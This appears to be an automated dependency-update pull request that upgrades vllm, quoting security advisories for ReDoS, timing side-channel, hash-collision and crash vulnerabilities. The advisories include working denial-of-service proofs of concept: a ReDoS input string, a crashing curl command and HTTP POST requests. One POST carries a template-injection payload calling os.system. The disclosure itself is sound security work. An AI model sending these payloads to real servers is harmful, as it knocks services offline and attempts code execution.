This PR contains the following updates:

Package	Change	Age	Confidence
vllm	==0.8.5 -> ==0.10.1.1

GitHub Vulnerability Alerts

CVE-2025-48887

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in the file vllm/entrypoints/openai/tool_parsers/pythonic_tool_parser.py of the vLLM project. The root cause is the use of a highly complex and nested regular expression for tool call detection, which can be exploited by an attacker to cause severe performance degradation or make the service unavailable.

Details

The following regular expression is used to match tool/function call patterns:

r"\[([a-zA-Z]+\w*\(([a-zA-Z]+\w*=.*,\s*)*([a-zA-Z]+\w*=.*\s)?\),\s*)*([a-zA-Z]+\w*\(([a-zA-Z]+\w*=.*,\s*)*([a-zA-Z]+\w*=.*\s*)?\)\s*)+\]"

This pattern contains multiple nested quantifiers (*, +), optional groups, and inner repetitions which make it vulnerable to catastrophic backtracking.

Attack Example:
A malicious input such as

[A(A=	)A(A=,		)A(A=,		)A(A=,		)... (repeated dozens of times) ...]

or

"[A(A=" + "\t)A(A=,\t" * repeat

can cause the regular expression engine to consume CPU exponentially with the input length, effectively freezing or crashing the server (DoS).

Proof of Concept:
A Python script demonstrates that matching such a crafted string with the above regex results in exponential time complexity. Even moderate input lengths can bring the system to a halt.

Length: 22, Time: 0.0000 seconds, Match: False
Length: 38, Time: 0.0010 seconds, Match: False
Length: 54, Time: 0.0250 seconds, Match: False
Length: 70, Time: 0.5185 seconds, Match: False
Length: 86, Time: 13.2703 seconds, Match: False
Length: 102, Time: 319.0717 seconds, Match: False

Impact

• Denial of Service (DoS): An attacker can trigger a denial of service by sending specially crafted payloads to any API or interface that invokes this regex, causing excessive CPU usage and making the vLLM service unavailable.
• Resource Exhaustion and Memory Retention: As this regex is invoked during function call parsing, the matching process may hold on to significant CPU and memory resources for extended periods (due to catastrophic backtracking). In the context of vLLM, this also means that the associated KV cache (used for model inference and typically stored in GPU memory) is not released in a timely manner. This can lead to GPU memory exhaustion, degraded throughput, and service instability.
• Potential for Broader System Instability: Resource exhaustion from stuck or slow requests may cascade into broader system instability or service downtime if not mitigated.

Fix

• https://github.com/vllm-project/vllm/pull/18454
• Note that while this change has significantly improved performance, this regex may still be problematic. It has gone from exponential time complexity, O(2^N), to O(N^2).

GHSA-j828-28rj-hfhp

Summary

A recent review identified several regular expressions in the vllm codebase that are susceptible to Regular Expression Denial of Service (ReDoS) attacks. These patterns, if fed with crafted or malicious input, may cause severe performance degradation due to catastrophic backtracking.

1. vllm/lora/utils.py Line 173

https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/lora/utils.py#L173
Risk Description:

• The regex r"\((.*?)\)\$?$" matches content inside parentheses. If input such as ((((a|)+)+)+) is passed in, it can cause catastrophic backtracking, leading to a ReDoS vulnerability.
• Using .*? (non-greedy match) inside group parentheses can be highly sensitive to input length and nesting complexity.

Remediation Suggestions:

• Limit the input string length.
• Use a non-recursive matching approach, or write a regex with stricter content constraints.
• Consider using possessive quantifiers or atomic groups (not supported in Python yet), or split and process before regex matching.

2. vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py Line 52

https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py#L52

Risk Description:

• The regex r'functools\[(.*?)\]' uses .*? to match content inside brackets, together with re.DOTALL. If the input contains a large number of nested or crafted brackets, it can cause backtracking and ReDoS.

Remediation Suggestions:

• Limit the length of model_output.
• Use a stricter, non-greedy pattern (avoid matching across extraneous nesting).
• Prefer re.finditer() and enforce a length constraint on each match.

3. vllm/entrypoints/openai/serving_chat.py Line 351

https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/serving_chat.py#L351

Risk Description:

• The regex r'.*"parameters":\s*(.*)' can trigger backtracking if current_text is very long and contains repeated structures.
• Especially when processing strings from unknown sources, .* matching any content is high risk.

Remediation Suggestions:

• Use a more specific pattern (e.g., via JSON parsing).
• Impose limits on current_text length.
• Avoid using .* to capture large blocks of text; prefer structured parsing when possible.

4. benchmarks/benchmark_serving_structured_output.py Line 650

https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/benchmarks/benchmark_serving_structured_output.py#L650

Risk Description:

• The regex r'\{.*\}' is used to extract JSON inside curly braces. If the actual string is very long with unbalanced braces, it can cause backtracking, leading to a ReDoS vulnerability.
• Although this is used for benchmark correctness checking, it should still handle abnormal inputs carefully.

Remediation Suggestions:

• Limit the length of actual.
• Prefer stepwise search for { and } or use a robust JSON extraction tool.
• Recommend first locating the range with simple string search, then applying regex.

Fix

• https://github.com/vllm-project/vllm/pull/18454

CVE-2025-46570

This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.

Description

When a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.

For instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim's input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.

Unlike token-by-token sharing mechanisms, vLLM’s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim's prompt at the chunk level.

Environment

• GPU: NVIDIA A100 (40G)
• CUDA: 11.8
• PyTorch: 2.3.1
• OS: Ubuntu 18.04
• vLLM: v0.5.1
  Configuration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.

Leakage

We conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability.

Results

In our experiment, we analyzed the response time differences between cache hits and misses in vLLM's PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results:

• With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times.
• When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.

Fixes

• https://github.com/vllm-project/vllm/pull/17045

CVE-2025-46722

Summary

In the file vllm/multimodal/hasher.py, the MultiModalHasher class has a security and data integrity issue in its image hashing method. Currently, it serializes PIL.Image.Image objects using only obj.tobytes(), which returns only the raw pixel data, without including metadata such as the image’s shape (width, height, mode). As a result, two images of different sizes (e.g., 30x100 and 100x30) with the same pixel byte sequence could generate the same hash value. This may lead to hash collisions, incorrect cache hits, and even data leakage or security risks.

Details

• Affected file: vllm/multimodal/hasher.py
• Affected method: MultiModalHasher.serialize_item
  https://github.com/vllm-project/vllm/blob/9420a1fc30af1a632bbc2c66eb8668f3af41f026/vllm/multimodal/hasher.py#L34-L35
• Current behavior: For Image.Image instances, only obj.tobytes() is used for hashing.
• Problem description: obj.tobytes() does not include the image’s width, height, or mode metadata.
• Impact: Two images with the same pixel byte sequence but different sizes could be regarded as the same image by the cache and hashing system, which may result in:
  • Incorrect cache hits, leading to abnormal responses
  • Deliberate construction of images with different meanings but the same hash value

Recommendation

In the serialize_item method, serialization of Image.Image objects should include not only pixel data, but also all critical metadata—such as dimensions (size), color mode (mode), format, and especially the info dictionary. The info dictionary is particularly important in palette-based images (e.g., mode 'P'), where the palette itself is stored in info. Ignoring info can result in hash collisions between visually distinct images with the same pixel bytes but different palettes or metadata. This can lead to incorrect cache hits or even data leakage.

Summary:
Serializing only the raw pixel data is insecure. Always include all image metadata (size, mode, format, info) in the hash calculation to prevent collisions, especially in cases like palette-based images.

Impact for other modalities
For the influence of other modalities, since the video modality is transformed into a multi-dimensional array containing the length, width, time, etc. of the video, the same problem exists due to the incorrect sequence of numpy as well.

For audio, since the momo function is not enabled in librosa.load, the loaded audio is automatically encoded into single channels by librosa and returns a one-dimensional array of numpy, thus keeping the structure of numpy fixed and not affected by this issue.

Fixes

• https://github.com/vllm-project/vllm/pull/17378

CVE-2025-48942

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call
(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
will provoke a Uncaught exceptions from xgrammer in
./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

• https://github.com/vllm-project/vllm/pull/17623

CVE-2025-48943

Impact

A denial of service bug caused the vLLM server to crash if an invalid regex was provided while using structured output. This vulnerability is similar to GHSA-6qc9-v4r8-22xg, but for regex instead of a JSON schema.

Issue with more details: https://github.com/vllm-project/vllm/issues/17313

Patches

• https://github.com/vllm-project/vllm/pull/17623

CVE-2025-48944

Summary

The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted.

Details

The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error:

RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing"

The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.

For example, the following inputs will crash the worker:

Unclosed {, [, or (

Closed:{} and []

Here are some of runtime errors on the crash depending on what gets injected:

RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.
RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.
RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.

PoC

Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for:
POST /v1/chat/completions HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
Content-Length: 579
Origin:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{
"model": "mistral-nemo-instruct",
"messages": [{ "role": "user", "content": "crash via type" }],
"tools": [
{
"type": "function",
"function": {
"name": "crash01",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "something"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash01",
"arguments": { "a": "test" }
}
},
"stream": false,
"max_tokens": 1
}

Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.

POST /v1/chat/completions HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
Content-Length: 718
Origin:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{
"model": "mistral-nemo-instruct",
"messages": [
{
"role": "user",
"content": "Crash via Pattern"
}
],
"tools": [
{
"type": "function",
"function": {
"name": "crash02",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "string",
"pattern": "{{ import('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash02"
}
},
"stream": false,
"max_tokens": 32,
"temperature": 0.2,
"top_p": 1,
"n": 1
}

Impact

Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests.

Fix

• https://github.com/vllm-project/vllm/pull/17623

CVE-2025-48956

Summary

A Denial of Service (DoS) vulnerability can be triggered by sending a single HTTP GET request with an extremely large header to an HTTP endpoint. This results in server memory exhaustion, potentially leading to a crash or unresponsiveness. The attack does not require authentication, making it exploitable by any remote user.

Details

The vulnerability leverages the abuse of HTTP headers. By setting a header such as X-Forwarded-For to a very large value like ("A" * 5_800_000_000), the server's HTTP parser or application logic may attempt to load the entire request into memory, overwhelming system resources.

Impact

What kind of vulnerability is it? Who is impacted?
Type of vulnerability: Denial of Service (DoS)

Resolution

Upgrade to a version of vLLM that includes appropriate HTTP limits by deafult, or use a proxy in front of vLLM which provides protection against this issue.

Release Notes

Configuration

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